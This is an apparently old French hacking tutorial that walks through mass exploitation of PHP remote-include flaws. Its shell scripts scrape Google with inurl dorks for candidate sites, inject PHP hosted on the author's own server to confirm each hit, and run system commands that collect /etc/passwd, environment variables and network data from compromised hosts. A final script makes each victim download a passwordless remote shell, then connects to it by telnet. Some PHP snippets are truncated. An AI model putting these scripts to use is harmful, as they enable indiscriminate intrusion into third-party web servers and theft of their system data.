________________________________________________________________ ____ __ __ / ___________________________________________________________ ____ __ _ / ` \ / \[22]/ + ,\_____ ___/ . ` |\/ , \__/ . \____ /:/=[ un affaire de google ] =\:\ _____/ ` x || , . " :X \_______________________________ ____ ____ / , ` ` || + , () . x , . ` ' ` \_ \ ,\\_ +\_ \ 'M ` | . || ` | ` , ` , + , ` ,--, + . \\_ \_ \ , \\_ K -+- / |+ -+- . , ` , ,',/ ,'. \_ \ . \\_ \_ \ - | ` / . | ; + + . ` | : . :`` ,_): ' ` \\_ \_ \ \\_` 1 , / ` . . x , .-=+=- `. ,. ,' ` , \_ \ + \\_` \_ \ 1 /\_____ x ' , . . X | ` `--' ` ` \\_ \_ \ , \\_ 1 + \\_ \___________________ , . . ` , + ' , , ; x ._\ \___\\___\ \ . \_ \ \__________________________________/ \ ` , \\_ /:/=[ Aka: googleligeli googeligeli googeligeligeligeli ]=\:\ \ \__\__________________________________________ ______________________________ \` \__\ /__/ \\_ /:/=[ loytie ]=\:\ _// \__\________________________/__/ Exploitation avec google par script L'idée de cette technique consiste à utiliser une recherche google avec des critères bien définis pour obtenir une liste de sites vulnérables à une faille. Ce procédé ayant déjà été utilisé par différents vers dont celui exploitant une faille phpbb récente, effaçant le site et se propageant en effectuant une nouvelle recherche par google de site vulnérable à la même faille. Le but de ce texte n'est pas de montrer une des dernières failles à la mode mais explique une manière simple pour construire des scripts afin d'exploiter rapidement une faille de type Web et d'obtenir une liste de machine vulnérable. La suite consistant à utilisé les droits obtenus par l'exploitation pour faire se que bon vous semble et dans le meilleur des cas, un shell distant (le plus souvent sous l'id nobody). L'idée vient du livre "Google Hacking for Penetration Testers" par Syngress, qui en présente les bases. L'exemple qui suit présente la façon d'obtenir par google, une liste de sites susceptibles d'être vulnérables à la faille php include. Cette vielle faille est simple à comprendre et est toujours d'actualité quand toutes les conditions sont réunies. Suite à cette recherche, la seconde étape consiste à vérifier que la machine est bien vulnérable. Et pour finir, la dernière étape permet d'exploiter la faille et obtenir un shell distant. Les différents scripts sont écrit en Shell, utilise le navigateur lynx, le téléchargeur wget, les commandes de formatage awk et sed ainsi que les commandes unix de base et les principes de programmation shell. Les scripts ne sont pas forcement optimal, le but de l'exercice servant d'exemple. Tous les codes sont disponibles sur: http://membres.lycos.fr/loytietoo/ La faille php include La faille php include vient d'une erreur de programmation d'une page PHP, utilisant la fonction include pour intégrer au code une autre page du site. Dans notre cas, la fonction include utilise un argument passé par l'url pour connaître la page à inclure. exemple : http://www.exemple.xom?page=liens.php En modifiant cet argument, il est possible d'inclure une autre page ou un fichier distant ou non. exemple 1 : http://www.exemple.xom?page=../../etc/passwd exemple 2 : http://www.exemple.xom?page=http://www.google.com exemple 3 : http://www.exemple.xom?page=http://www.monsite.com/code.txt Dans cet exemple, on s'intéresse à l'exemple 3. Sans rentrer dans les détails, il faut que toutes les conditions nécessaires soit réunis pour que cela fonctionne, cad que toutes les configs soient mauvaises : programmation php, config php, config apache, config système. Pour plus d'info sur la faille include : google. L'exemple 3 permet d'inclure le fichier distant code .txt contenant du code php. Ce code est inséré par include à celui du site www.exemple.com et exécuté par php. Le format txt est justifié par le fait qu'il ne sera pas interprété par le site distant www.monsite.com (si php interprété). exemple de code.txt : /tmp/.null"); $lines=file("/tmp/.null"); foreach ($lines as $line) { echo $line . "
\n"; } ?> PHP exécute la commande uname -a sur le système, copy la réponse dans /tmp/.null. Ensuite il ouvre le fichier /tmp/.null et ajoute chaque ligne du fichier à la page html qu'il génère en y ajoutant un saut de ligne
. La commande est simple, il est possible dés a présent d'ouvrir un shell en modifiant la commande, soit en téléchargeant un script shell distant par la commande wget ou bien directement par nc. La recherche google Rechercher une liste de site susceptible d'être vulnérable à cette faille consiste à utiliser l'argument "inurl" de google en indiquant la variable d'inclusion du site www.exemple.com ainsi que le nom de la page incluse. exemples : inurl:?page=liens.php inurl:?p=acceuil.php3 inurl:?include=start.html Script de scan google Le but du script est de vérifier que les réponses que renvois google respectent les critères donnés, cad que l'url est au bon format. Google permet d'afficher que 100 réponses à la fois, le script va automatiser le scan de toutes les url page par page. Pour finir, toutes les urls répondant au format sont enregistré dans un fichier. Toutes les recherches sur google sont faites par lynx et enregistré par l'argument dump. #!/bin/sh # vérifier les arguments if [ $# -ne 2 ]; then echo "Include scan v0.3" echo echo "Usage: scan.sh " echo echo "example : http://www.example.com?page=index.php" echo " = page" echo " = index.php" echo exit 0 fi # copier les arguments VAR=$1 SEARCH=$2; echo "search -> $VAR=$SEARCH" # initialiser la recherche, 100 réponses à la fois (GNUM) à partir de 0 (GSTART) GNUM=100 GSTART=0 rm -f list.txt .search.html # rechercher le nombre de réponse total de google (COUNT) # info : le nombre se trouve sur la ligne contenant about set -- `lynx -dump "http://www.google.com/search?q=inurl%3A%3F$VAR=$SEARCH&num=1" | \ awk '/about/ { printf("%s", $8) }' | sed -e 's/,//g'` COUNT=$1 echo "count -> $COUNT" echo # tant que réponse total non ateint while [ "$GSTART" -le "$COUNT" ] ; do echo "list -> $GSTART of $COUNT" # enregistrer la page de recherche google dans .search.html lynx -dump "http://www.google.com/search?q=inurl%3A%3F$VAR=$SEARCH&num=$GNUM&start=$GSTART" > .search.html # vérifier chaque url de la reherche # enregistrer si respecte format sed -n "s/\. http:\/\/.*"$VAR"="$SEARCH"/& /p" .search.html | awk '{print $2}' >> list.txt # incrementer la recherche let GSTART=$GSTART+$GNUM; done # fin rm .search.html echo echo "output list -> list.txt" Script de vérification des sites vulnérables Maintenant que l'on possède la liste des sites référencés par google et successible d'être exploitable par la faille include, le script suivant va tester chaque url en essayant d'inclure le fichier code.txt. Le fichier code.txt se contente d'afficher le mot "machtard" sur la page retournée. Le script vérifie si la page contient ce mot et en déduit dans le cas positif que le site est vulnérable. Au préalable, il faut créer le fichier code.txt sur un autre site. code.txt : /tmp/.null2"); $lines=file("/tmp/.null2"); foreach ($lines as $line) { $line = str_replace("\$", "", $line); $line = str_replace("\<\?", "", $line); echo $line . "
\n"; } ?> script : #!/bin/sh # vérifier les arguments if [ $# -ne 2 ]; then echo "Include scan v0.3" echo echo "Usage: test.sh " echo echo "example : http://www.example.com?page=index.php" echo " = page" echo " = index.php" echo exit 0 fi # cpier les arguments VAR=$1 SEARCH=$2 echo "search -> $VAR=$SEARCH" echo # initialiser le scan VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code.txt" rm -f vulnerable.txt # pour chaque url du fichier cat list.txt | while read line ; do # modifier l'url en ajoutant code.txt set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";` SITE=$1 # demander la page lynx -dump $SITE > .site.html # rechercher machtard dans la page set -- `cat .site.html | grep machtard | grep -v echo | awk '/machtard/ { printf("OK\n") }'` # si vulnérable, enregister l'url if [ "$1" = "OK" ]; then echo "[+] $line" echo $line >> vulnerable.txt else echo "[-] $line" fi done # fin rm -f .site.html Script de demande d'information Maintenant que l'on possède une liste de site vulnérable, il est possible d’exploiter directement les cibles en récupérant des informations complémentaires grâce à des commandes unix exécutées depuis le code PHP. commandes : uname -a uptime hostname pwd id echo $PATH cat /etc/passwd ifconfig cat /etc/resolv.conf netstat -l netstat -r ps -auxf lspci lsmod env Pour chaque commande, on insère le résultat dans un fichier, que l'on affiche sur la page résultante de la même façon que le script précédent. De plus on inclue au code html, une balise spécial afin de la reconnaître les informations qui nous intéressent dans le code html complet retourné. Les informations sont ajoutées dans un fichier dédié pour en garder une trace. Le fichier est copier dans un repertoire "hosts", il faut le créer au préalable. code2.txt : /tmp/.null2"); system("echo; uname -a >> /tmp/.null2"); system("echo; uptime >> /tmp/.null2"); system("echo; hostname >> /tmp/.null2"); system("echo; pwd >> /tmp/.null2"); system("echo; id >> /tmp/.null2"); system("echo; echo \$PATH >> /tmp/.null2"); system("echo; cat /etc/passwd | grep sh >> /tmp/.null2"); system("echo; ifconfig >> /tmp/.null2"); system("echo; cat /etc/resolv.conf >> /tmp/.null2"); system("echo; netstat -l >> /tmp/.null2"); system("echo; netstat -r >> /tmp/.null2"); system("echo; ps -auxf >> /tmp/.null2"); system("echo; lspci >> /tmp/.null2"); system("echo; lsmod >> /tmp/.null2"); system("echo; env >> /tmp/.null2"); $lines=file("/tmp/.null2"); foreach ($lines as $line) { $line = str_replace("\$", "", $line); $line = str_replace("\<\?", "", $line); echo $line; } ?> script : #!/bin/sh # vérifier les arguments if [ $# -ne 2 ]; then echo "Include scan v0.3" echo echo "Usage: exploit.sh " echo echo "example : http://www.example.com?page=index.php" echo " = page" echo " = index.php" echo exit 0 fi # enregistrer les arguments VAR=$1 SEARCH=$2; echo "search -> $VAR=$SEARCH" echo # initialiser le script VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code2.txt" # pour chaque url cat vulnerable.txt | while read line ; do # recupérer le nom de domaine set -- `echo $line | awk -F "/" '{ print $3 }';` HOSTNAME=$1 # modifier l'url en ajoutant code.txt set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";` SITE=$1 # récupérer la page wget $SITE -O .site.html 2&> /dev/null # init find=0 # scanner la page cat .site.html | while read line2 ; do # si pas encore d'information # vérifier si la ligne contient la balise de départ if [ $find = "0" ]; then set -- `echo $line2 | awk '// { printf("OK\n") }'` # si balise alors début d'information if [ "$1" = "OK" ]; then find=1 echo $line > .info echo >> .info echo hostname "-> $HOSTNAME" fi # si des informations # vefifier si balise de fin # sinon, enregistrer les informations else set -- `echo $line2 | awk '/<\/loytie>/ { printf("OK\n") }'` if [ "$1" = "OK" ]; then find=0 fi if [ "$find" = "1" ]; then echo $line2 >> .info fi fi done # enregistrer les informations cat .info >> hosts/$HOSTNAME # fin rm -f .site.html .info done Script pour obtenir un shell Maintenant que nous disposons d'informations sur les cibles, il est possible de les utiliser pour compromettre les systèmes avec des attaques complémentaires... Cependant, il est intéressant de disposer d'un shell plutôt que d'utiliser la méthode script par page web. Un exemple simple consiste à faire télécharger par la cible un programme shell distant, l'exécuter et pour finalement se connecter dessus. J'utilise personnellement le script suivant : http://membres.lycos.fr/loytietoo/telnet.pl. Le script exécute un shell sur le port 4123 sans mot de passe, il suffit de se connecter dessus en telnet. telnet www.exemeple.com 4123 code3.txt : script : #!/bin/sh # vérifier les arguments if [ $# -ne 3 ]; then echo "Include scan v0.3" echo echo "Usage: telnet.sh " echo echo "example : www.example.com?page=index.php" echo " = page" echo " = index.php" echo " = hosts/www.example.com" echo exit 0 fi # copier les arguiments VAR=$1 SEARCH=$2; FILE=$3 echo # initialiser VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code3.txt" # lire la premiere ligne du fichier d'information read line < $FILE # recuperer le domaine set -- `echo $line | awk -F "/" '{ print $3 }';` HOSTNAME=$1 echo $HOSTNAME # modifier l'url set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";` SITE=$1 # recuperer la page wget $SITE -T 15 -O .site.html 2&> /dev/null rm -f .site.html # telnet telnet $HOSTNAME 4123 Conclusion En espérant que cet exemple soit compréhensible et intéressant. Tous les codes sont disponibles sur: http://membres.lycos.fr/loytietoo/ Cet exemple n'expose pas toutes les conditions nécessaires pour que cela fonctionne. En effet, il serait judicieux de rajouter des conditions aux scripts afin de s'adapter à tous types d'architectures Unix. exemple 1 : le rep /tmp est il ecrivable et executable ? dans le cas contraire les scripts ne fonctionne pas exemple 2 : l'ip est tel derriere un NAT ? dans ce cas il faut faire un reverse telnet ... Je suis persuadé que la base google est une bonne approche à la recherche de vulnérabilités. Le site http://johnny.ihackstuff.com/ contient une base de donnée très intéressante sur les recherches d'informations sur Google. L'exemple montre aussi la puissance du shell unix pour l'automatisation de processus. De toute façon, personne ne fait de hack sous windows (troll mdr). Je suis ouvert à toutes suggestions ou corrections.